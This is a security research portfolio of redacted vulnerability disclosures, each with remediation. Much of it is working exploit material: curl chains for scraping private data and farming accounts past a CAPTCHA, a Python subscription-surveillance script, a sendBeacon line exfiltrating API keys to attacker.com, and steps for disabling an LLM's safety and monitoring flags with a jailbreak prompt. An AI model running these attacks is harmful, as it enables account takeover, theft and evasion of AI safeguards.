Security Research Portfolio

The Android application registers a custom URL scheme deep link that opens arbitrary URLs inside an authenticated WebView. Before loading, it performs a domain allowlist check using Java's String.endsWith() — which matches any hostname with the allowed suffix, including attacker-owned domains. When the check passes, the app appends the victim's live SSO token as a URL query parameter before loading the page.

The validation function uses endsWith("allowed-domain") instead of proper subdomain matching (host.equals(domain) || host.endsWith("." + domain)). SSO tokens are passed as URL query parameters — appearing in server logs, browser history, and Referer headers.

1. Attacker registers a domain ending with the allowed suffix (≈$10)
2. Attacker hosts a minimal HTTP server that logs incoming query parameters
3. Crafts deep link: [scheme]://webview?path=https://[attacker-domain]/capture&ssoParamName=sso
4. Victim taps the link (SMS, email, QR, any channel)
5. App validates: "attacker-domain".endsWith("allowed-domain") → true (bypass)
6. App appends SSO token and loads in WebView
7. Attacker captures token → opens web portal → full account access

adb shell am start -a android.intent.action.VIEW \
  -d "[scheme]://webview?path=https://[attacker]/capture&ssoParamName=sso"

# Attacker log: GET /capture?sso=C_[REDACTED_UUID]
# Redeem: GET https://[TARGET]/account.app.html?sso=C_[REDACTED_UUID] → Full session

• Replace endsWith() with strict domain matching: host.equals(d) || host.endsWith("." + d)
• Remove SSO tokens from URL query parameters — use HTTP-only cookies or JS bridge injection
• Implement shouldOverrideUrlLoading() for defense-in-depth origin enforcement

The GraphQL API allows unauthenticated queries to retrieve complete user profiles including all generations marked private, full prompts, negative prompts, CDN image URLs, and generation parameters. The public: false flag provides zero server-side enforcement — it's queryable but not enforced as a permission filter.

# 1. Count total users (unauthenticated):
curl -s -X POST https://[REDACTED]/v1/graphql \
  -H 'Content-Type: application/json' \
  -d '{"query": "{ users_aggregate { aggregate { count } } }"}'
# → {"data":{"users_aggregate":{"aggregate":{"count":38700000}}}}

# 2. Query ANY user's private generations:
curl -s -X POST https://[REDACTED]/v1/graphql \
  -H 'Content-Type: application/json' \
  -d '{"query": "{ users(where: {username: {_eq: \"[USERNAME]\"}}) {
    id username
    generations(limit: 50, where: {public: {_eq: false}}) {
      id prompt negativePrompt createdAt
      generated_images { url }
    }
    generations_aggregate { aggregate { count } }
  } }"}'
# → Returns all private prompts, image CDN URLs, count=3,481

# 3. Batch extraction (100 queries per request, no rate limit):
POST [REDACTED]/v1/graphql with JSON array of 100 query objects
# → 100 × 50 = 5,000 records per HTTP request, unlimited requests/second

# 4. REST API IDOR (alternative path, also unauthenticated):
curl -s https://[REDACTED]/api/rest/v1/generations/user/[USER_ID]
# → Returns ALL generations including private ones

# 5. CDN image download (no auth):
curl -O https://[REDACTED_CDN]/generations/[UUID]/[image_id].jpg

• Enforce public flag server-side via Hasura row-level permissions
• Require authentication on all user-data queries

WebSocket connections to the GraphQL subscription endpoint succeed without any authentication. Subscriptions push real-time private generations with full prompts, user IDs, usernames, and CDN image URLs as they are created platform-wide.

# Full Python PoC — unauthenticated real-time surveillance:
import asyncio, websockets, json

async def monitor():
    async with websockets.connect(
        'wss://[REDACTED]/v1/graphql', subprotocols=['graphql-ws']
    ) as ws:
        # No auth token — empty payload accepted
        await ws.send(json.dumps({"type": "connection_init", "payload": {}}))
        print(await ws.recv())  # → {"type":"connection_ack"}

        # Subscribe to ALL private generations platform-wide:
        await ws.send(json.dumps({
            "id": "1", "type": "start",
            "payload": {"query": """subscription {
                generations(
                    where: {public: {_eq: false}},
                    order_by: {createdAt: desc}, limit: 10
                ) { id prompt userId public createdAt status
                    user { username }
                    generated_images { url } }
            }"""}
        }))
        while True:
            msg = json.loads(await ws.recv())
            if msg["type"] == "data":
                gen = msg["payload"]["data"]["generations"]
                for g in gen:
                    print(f"[PRIVATE] {g['user']['username']}: {g['prompt'][:80]}")

asyncio.run(monitor())

# Targeted surveillance of specific user:
# subscription { generations(where: {userId: {_eq: "[USER_ID]"}}, limit: 3) { ... } }

• Require authentication on WebSocket upgrade handshake
• Enforce row-level permissions — subscriptions return only own or public data

A beta subdomain has a dangling CNAME to a deployment platform (DEPLOYMENT_NOT_FOUND, expired SSL). Both the primary API and cloud API explicitly allowlist this subdomain in CORS with Access-Control-Allow-Credentials: true — a specific entry, not a wildcard, never cleaned up.

1. Claim the dangling subdomain on the deployment platform (free account)
2. Deploy a data-extraction page on the claimed subdomain
3. Authenticated user visits the attacker-controlled subdomain
4. JavaScript makes credentialed cross-origin requests to the API — CORS allows it
5. Attacker reads: user profiles, API keys, private generations, executes mutations

# 1. Dangling CNAME — subdomain is claimable:
dig beta.app.[REDACTED] CNAME
# → beta.app.[REDACTED]. CNAME cname.[DEPLOYMENT-PLATFORM].com.
curl -sk https://beta.app.[REDACTED]/
# → 404: DEPLOYMENT_NOT_FOUND  |  SSL: expired cert

# 2. Primary API trusts the abandoned subdomain with credentials:
curl -s -H 'Origin: https://beta.app.[REDACTED]' \
  -X POST https://[REDACTED-API]/v1/graphql \
  -H 'Content-Type: application/json' \
  -d '{"query":"{__typename}"}' -D - | grep -i access-control
# → Access-Control-Allow-Origin: https://beta.app.[REDACTED]
# → Access-Control-Allow-Credentials: true

# 3. Secondary API also trusts it:
curl -sI -H 'Origin: https://beta.app.[REDACTED]' \
  https://[REDACTED-API-2]/api/rest/v1/me | grep -i access-control
# → Access-Control-Allow-Origin: https://beta.app.[REDACTED]
# → Access-Control-Allow-Credentials: true

# 4. Exploitation JS (hosted on claimed subdomain):
# fetch('https://[REDACTED-API]/v1/graphql', {
#   method:'POST', credentials:'include',
#   headers:{'Content-Type':'application/json'},
#   body: JSON.stringify({query: '{ users { id email api_keys { api_key } } }'})
# }).then(r=>r.json()).then(d=>navigator.sendBeacon('https://attacker.com/log',JSON.stringify(d)))

• Remove the dangling CNAME DNS record immediately
• Audit CORS allowlists — remove all decommissioned subdomains

Complete automated account creation pipeline: disposable email → AWS Cognito SignUp API directly (bypasses Turnstile CAPTCHA entirely) → read confirmation code → ConfirmSignUp → SRP auth → JWT. Each account: 100K API credits, 150 subscription tokens, 100 GPT tokens, 17 mutations including delete operations, S3 pre-signed upload credentials, AWS account ID disclosure.

# Full automated pipeline — zero human interaction:

# Step 1: Create disposable email
curl -s -X POST 'https://api.mail.tm/accounts' \
  -H 'Content-Type: application/json' \
  -d '{"address":"test-[RANDOM]@[TEMP-DOMAIN]","password":"TempPass123!"}'

# Step 2: Cognito SignUp (BYPASSES Turnstile CAPTCHA — hits API directly):
curl -s -X POST 'https://cognito-idp.[REGION].amazonaws.com/' \
  -H 'Content-Type: application/x-amz-json-1.1' \
  -H 'X-Amz-Target: AWSCognitoIdentityProviderService.SignUp' \
  -d '{"ClientId":"[CLIENT_ID]",
       "Username":"test-[RANDOM]@[TEMP-DOMAIN]",
       "Password":"SecureP@ss123!",
       "UserAttributes":[{"Name":"email","Value":"test-[RANDOM]@[TEMP-DOMAIN]"}]}'
# → {"UserConfirmed":false,"UserSub":"[UUID]"}

# Step 3: Read confirmation code from temp inbox
curl -s 'https://api.mail.tm/messages' -H 'Authorization: Bearer [MAIL_TOKEN]'
# → 6-digit code in email body

# Step 4: Confirm signup
curl -s -X POST 'https://cognito-idp.[REGION].amazonaws.com/' \
  -H 'X-Amz-Target: AWSCognitoIdentityProviderService.ConfirmSignUp' \
  -d '{"ClientId":"[CLIENT_ID]","Username":"...","ConfirmationCode":"123456"}'

# Step 5: SRP Auth → JWT with Hasura claims
# → AccessToken contains: x-hasura-user-id, x-hasura-default-role
# → Account has: 100K credits, 150 sub tokens, 100 GPT tokens
# → 17 mutations unlocked, S3 pre-signed upload creds returned
# → AWS Account ID [REDACTED] disclosed in S3 bucket ARN

• Enforce CAPTCHA server-side on the Cognito SignUp endpoint, not just the frontend
• Rate-limit account creation by IP and email domain
• Defer credit allocation until email verification + age threshold

A debug parameter (cogen_id_for_test) left in production bypasses all authentication middleware. When passed to calendar API endpoints, it maps directly to user accounts and returns their full Microsoft Graph calendar data. The error message explicitly reveals the parameter name. Same backdoor exists across Gmail endpoints (list, read, send, draft).

# With debug backdoor:
GET /api/microsoft/calendar/search_events?cogen_id_for_test=[UUID]
→ {"status":0, "data":{"value":[20 real events with attendees, subjects]}}

# Without param:
→ {"status":-5, "message":"User not authenticated or cogen_id_for_test not provided."}

• Remove cogen_id_for_test from all production endpoints immediately
• Implement CI/CD checks to prevent debug code from reaching production
• Rotate all stored OAuth tokens for connected Microsoft/Google accounts

Account deletion endpoint uses GET method, requires no auth, and accepts arbitrary base64 nonce parameters not bound to any session. Trivially CSRF-able via <img src> tag. Combined with session fixation → attacker force-deletes any user's account with one click.

1. Exploit session fixation to plant known session cookie in victim's browser
2. Victim authenticates (session not regenerated)
3. Attacker serves page: <img src='/api/user/delete?c1=[B64]&c2=[B64]'>
4. Browser makes GET with victim's cookie → account deleted

• Change to POST/DELETE with CSRF token validation
• Add authentication middleware and re-auth for destructive actions

OAuth2 flow via Azure AD B2C uses a custom URI scheme redirect. PKCE not enforced. The scheme is not registered in AndroidManifest.xml — any malicious app can claim it and intercept authorization codes → full account takeover.

# 1. Server redirects auth code to custom URI scheme:
curl -D - 'https://[REDACTED]/api/auth/terminal_android?code=TEST_CODE&state=TEST_STATE'
# → HTTP 307
# → Location: [CUSTOM_SCHEME]://adb2c/api/auth?code=TEST_CODE&state=TEST_STATE
#             &schema_type=terminal&provider=azure

# 2. Verify PKCE is NOT enforced — B2C accepts authorize without code_challenge:
curl -D - 'https://[B2C_TENANT].b2clogin.com/[TENANT]/oauth2/v2.0/authorize?\
  client_id=[CLIENT_ID]&response_type=code&scope=openid+offline_access\
  &redirect_uri=https://[REDACTED]/api/auth/terminal_android'
# → Returns login page (NOT an error about missing code_challenge)

# 3. Token exchange without code_verifier:
curl -X POST 'https://[B2C_TENANT].b2clogin.com/[TENANT]/oauth2/v2.0/token' \
  -d 'grant_type=authorization_code&code=[STOLEN_CODE]&client_id=[CLIENT_ID]\
  &redirect_uri=https://[REDACTED]/api/auth/terminal_android'
# → Returns: invalid_grant (not "missing code_verifier") — confirms PKCE not required

# 4. Scheme NOT in AndroidManifest.xml:
grep -r "[CUSTOM_SCHEME]" AndroidManifest.xml → (no results)
# → Any installed app can register an intent-filter for this scheme

• Enforce PKCE on all OAuth flows
• Register the custom URI scheme in AndroidManifest.xml
• Migrate to Android App Links (HTTPS-based, verified)

The production identity provider (self-hosted Ory-based system) allows API-flow registration with any corporate email — no email verification, no domain restriction, instant active session with 90-day expiry. Any internal service trusting the email domain grants elevated access to attacker-created identities.

# Instance 1 — Production Identity Provider (API flow, no browser needed):

# Step 1: Get registration flow
curl -s 'https://[AUTH-DOMAIN]/self-service/registration/api' | jq '.id'
# → "[FLOW_ID]"

# Step 2: Register with corporate email — no verification:
curl -s -X POST 'https://[AUTH-DOMAIN]/self-service/registration?flow=[FLOW_ID]' \
  -H 'Content-Type: application/json' \
  -d '{"method":"password",
       "password":"SecureP@ss123!",
       "traits":{"email":"sectest-notreal@[CORPORATE_DOMAIN]"}}'
# → HTTP 200
# → {"session_token":"[90-DAY-TOKEN]","identity":{"state":"active",
#    "traits":{"email":"sectest-notreal@[CORPORATE_DOMAIN]"}}}

# Step 3: Verify active session
curl -s 'https://[AUTH-DOMAIN]/sessions/whoami' \
  -H 'Authorization: Bearer [90-DAY-TOKEN]'
# → Confirms active identity as @[CORPORATE_DOMAIN] user

# Instance 2 — Headless auth (mobile CDN env), email change without re-auth:
curl -s -X POST 'https://[HEADLESS-AUTH]/self-service/settings' \
  -H 'Authorization: Bearer [TOKEN]' -H 'Content-Type: application/json' \
  -d '{"method":"profile","traits":{"email":"ceo@[CORPORATE_DOMAIN]"}}'
# → {"state":"success"} — identity now permanently set to ceo@...
# Verified claims: security@, billing@, hr@, support@, ceo@, admin@ — all accepted

• Enforce email verification before session activation
• Block registration with corporate domain emails — reserve for internal SSO

Complete unauthenticated access to the flagship LLM with streaming responses and persistent multi-turn context. No login, no account, no email required. Rate-limit bypass via cookie rotation. Attacker can set custom systemPrompt (jailbreak), safePrompt=false (disable safety), incognito=true (bypass monitoring), and choose any model including internal/unreleased variants.

POST /api/trpc/message.newChat?batch=1
  {model:"[MODEL]-large-latest", features:["beta-deep-reasoning"],
   safePrompt:false, incognito:true, systemPrompt:"[CUSTOM]"}
POST /api/chat {mode:"start", chatId:[ID]}
POST /api/chat {mode:"append", messageId:[UUID], messageInput:"..."}
→ Persistent multi-turn conversation, no auth

• Gate all model access behind authentication — no anonymous inference
• Server-side enforcement of safety parameters — ignore client values
• Rate-limit by authenticated identity, not by cookie

Anonymous users activate all 13 premium features via a features array in the chat creation endpoint: code execution, GPU image generation, web search, deep reasoning, agent frameworks. Feature list leaked via validation error. Full parameter control: maxTokens=100000, temperature=100, safePrompt=false — all accepted without validation.

# Step 1: Enumerate all 13 features via Zod validation error:
POST /api/trpc/message.newChat?batch=1
  {"features": ["INVALID_FEATURE"]}
# → Zod error: "Invalid enum value. Expected 'beta-deep-reasoning' |
#   'beta-code-interpreter' | 'agentic-harness' | 'beta-websearch' |
#   'beta-imagegen' | 'beta-audio' | 'beta-memory' | 'beta-canvas' |
#   'beta-vision' | 'beta-pdf' | 'beta-document' | 'beta-slides' |
#   'beta-presentation', received 'INVALID_FEATURE'"

# Step 2: Activate ALL premium features (anonymous):
POST /api/trpc/message.newChat?batch=1
  Cookie: anonymousUser=[ANY-UUID]
  {"model":"[MODEL]-large-latest",
   "features":["beta-deep-reasoning","beta-code-interpreter",
               "agentic-harness","beta-websearch","beta-imagegen"],
   "safePrompt":false,
   "systemPrompt":"[CUSTOM_JAILBREAK]",
   "incognito":true,
   "maxTokens":100000,
   "temperature":100}
# → HTTP 200 — all features activate

# Step 3: Deep reasoning generates 99KB responses:
POST /api/chat {mode:"start", chatId:[ID]}
# → SSE stream: 99KB of chain-of-thought reasoning tokens

# Step 4: agentic-harness exposes real server-side tools:
# → tool_call: {"name":"generate_image","arguments":{"prompt":"..."}}
#   → Returns Azure Blob URL with generated image
# → tool_call: {"name":"code_interpreter","arguments":{"code":"..."}}
#   → Executes Python in E2B sandbox (see MC-033)
# → tool_call: {"name":"web_search","arguments":{"query":"..."}}
#   → Real search API results returned

• Gate features by subscription tier server-side — ignore client features array for unauthenticated users
• Enforce parameter ranges server-side (maxTokens, temperature)
• Remove safePrompt and systemPrompt from client control

Anonymous code execution in the E2B sandbox runs as uid=0 (root) with ALL Linux capabilities and seccomp disabled. Full environment extraction achieved: 23 env vars, filesystem structure, /etc/hosts revealing internal service IPs, DNS config, and a private GitHub repository URL via /requirements.txt.

os.environ → USER=root, SUDO_UID=1000, SUDO_COMMAND=/code-interpreter/start-up.sh
capsh --print → all capabilities granted
/proc/self/status → Seccomp: 0 (disabled)
/etc/hosts → 192.0.2.1 events.[INTERNAL]
/requirements.txt → git+https://github.com/[ORG]/[PRIVATE_REPO].git

• Drop all unnecessary capabilities — principle of least privilege
• Enable seccomp with a restrictive profile; run as non-root
• Remove sensitive references from the sandbox image

Three findings chain into a full-database biometric data breach. The platform's entire auth model is a single HTTP header with no JWT, no session token, no cryptographic verification — set it to any value and you are that user. APK reverse engineering revealed the header value equals the device's Android ID. A public feed API returns all 100K+ user records including their Android IDs — which are their auth tokens.

API authenticates via a plain-text header. No token validation, no signature, no session binding. Any value works. Confirmed across: /chat/messages, /credits/balance, /rewards, /finetune, /magic_video.

Dashboard feed API returns the complete user base paginated (1,033 pages × 100). No auth — accepts any string. Each item contains the Android ID = auth credential. Full database extractable in ~60 minutes with zero rate limiting.

Using harvested IDs: dozens of real face photos per profile (LoRA training data), avatar URLs, person metadata. Sample: 453 users → 665 face photos. One user: 59 training photos, 1,200+ chat messages, 3,489 credits (~$60).

1. Enumerate all user IDs: GET /api/ranged_feed_ranking?page=1&per_page=100 (×1,033)
2. For each user_id, set header: user-id: [ANDROID_ID]
3. Pull face photos: GET /finetune → AI training images (biometric)
4. Pull chat history: GET /chat/messages → private conversations
5. Pull credits: GET /credits/balance/[ID]
6. Steal rewards: POST /rewards/claim/[ID]

# Enumerate entire user base (no auth):
curl '[API]/api/ranged_feed_ranking?page=1&per_page=100' \
  -H 'user-id: literally_any_string'
→ {total_items: 100000+, total_pages: 1033, items: [...]}

# Access any user's face photos:
curl '[API]/finetune' -H 'user-id: [VICTIM_ID]'
→ {training_images: ["face1.jpg", ...], lora_url: "..."}

# Read private chats:
curl '[API]/chat/messages' -H 'user-id: [VICTIM_ID]'
→ {messages: [...]} (up to 1,200+ msgs)

• Implement proper authentication — JWT or OAuth2 with cryptographic validation
• Never use device identifiers as auth tokens
• Remove user_id enumeration from public feed APIs
• Conduct incident response — assume all biometric data accessed; notify per GDPR Article 34